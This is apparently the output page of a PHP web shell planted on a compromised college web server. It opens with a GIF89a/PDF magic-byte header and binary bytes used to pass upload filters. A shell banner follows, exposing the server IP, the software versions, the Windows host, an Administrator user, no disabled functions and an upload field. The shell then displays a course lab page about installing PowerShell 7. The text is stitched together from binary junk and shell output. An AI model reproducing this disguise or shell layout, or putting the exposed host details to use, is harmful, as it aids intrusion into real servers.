GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/JimMartinson/CST1861/Labs/Lab02/ |
Upload File : |
<? // JimMartinson/CST1861/Labs/Lab02/index.php require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced. $disabled = ''; $disabled = ' disabled'; // Comment this line to enable lab. #if ( $_SESSION['userId'] == 1 ) { $disabled = ''; } $uploadFilename = $saveFilename.'.txt'; ?> <style type="text/css">b {white-space:nowrap;}</style> <p> <fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> Assignment</legend> The purpose of this lab is to ensure Powershell 7 is installed on your system. <br><?=$gradeNote?> <ol> <li>Create a directory called <b class="copyText"><?=$evaluationName?></b>. We will use it for all work performed in this lab.</li> <li>Install Powershell version 7.</li> <li>Run Powershell 7 (pwsh).</li> <li>Enter <code class="copyText">$PSVersionTable</code> and hit enter.</li> <li>Copy the output into a text editor and save it as <b class="copyText"><?=$uploadFilename?></b> in your <b><?=$evaluationName?></b> folder. <br> <div id="show_page" class="inline"><a href="#" onClick="divHide('show_page'); divShow('hide_page'); return false;">See an example:</a></div> <div id="hide_page" class="hidden"><a href="#" onClick="divHide('hide_page'); divShowInline('show_page'); return false;">Hide the example.</a> <pre class="kbd">$PSVersionTable Name Value ---- ----- PSVersion 7.2.6 PSEdition Core GitCommitId 7.2.6 OS Microsoft Windows 10.0.19042 Platform Win32NT PSCompatibleVersions {1.0, 2.0, 3.0, 4.0…} PSRemotingProtocolVersion 2.3 SerializationVersion 1.1.0.1 WSManStackVersion 3.0 </pre> </div> </li> <li>Turn in your assignment: <ol type="a"> <li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li> <li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"> for grading.</li> </ol> </li> </ol> <?=$gradeNote?> </fieldset> <? require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced. if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n"; ?>